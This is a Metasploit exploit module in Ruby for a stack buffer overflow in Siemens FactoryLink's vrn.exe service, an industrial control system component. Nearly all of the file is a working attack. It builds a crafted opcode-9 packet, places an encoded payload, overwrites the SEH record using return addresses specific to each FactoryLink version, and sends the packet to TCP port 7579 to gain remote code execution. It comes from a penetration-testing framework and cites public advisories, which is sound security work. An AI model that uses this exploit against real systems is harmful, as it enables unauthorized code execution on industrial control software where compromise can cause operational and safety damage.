##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
				and 8.0.1.703.  By sending a specially crafted packet, an attacker may be able to
				execute arbitrary code due to the improper use of a vsprintf() function while
				processing the user-supplied text field.  Originally found and posted by
				Luigi Auriemma.
			},
			'Author'         =>
				[
					'Luigi Auriemma', # Public exploit
					'hal',            # Metasploit module
					'MC',             # SEH, badchars, etc
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['OSVDB', '72815'],
					['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],
					['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf']
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
					[ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
					[ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
				],
			'DisclosureDate' => 'Mar 21 2011'))

			register_options([Opt::RPORT(7579)], self.class)
	end

	def exploit

		header =  "\x3f" * 4
		header << "\xff\x55"
		header << "\x09\x00" # opcode
		header << "\x3f\x3f\xff\xff"
		header << "\x00\x00\x3f\x3f"
		header << "\x01\x00"
		header << "\x3f" * 16
		header << "\x01\x00\x01\x00"
		header << "\x3f\x3f"

		data = rand_text_alpha_upper(65535)
		data[448, payload.encoded.length] = payload.encoded
		data[target['Offset'], 8]  = generate_seh_record(target.ret)
		data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string

		print_status("Trying target #{target.name}...")

		connect
		sock.put(header + data)

		handler

		select(nil,nil,nil,1)
		disconnect

	end

end
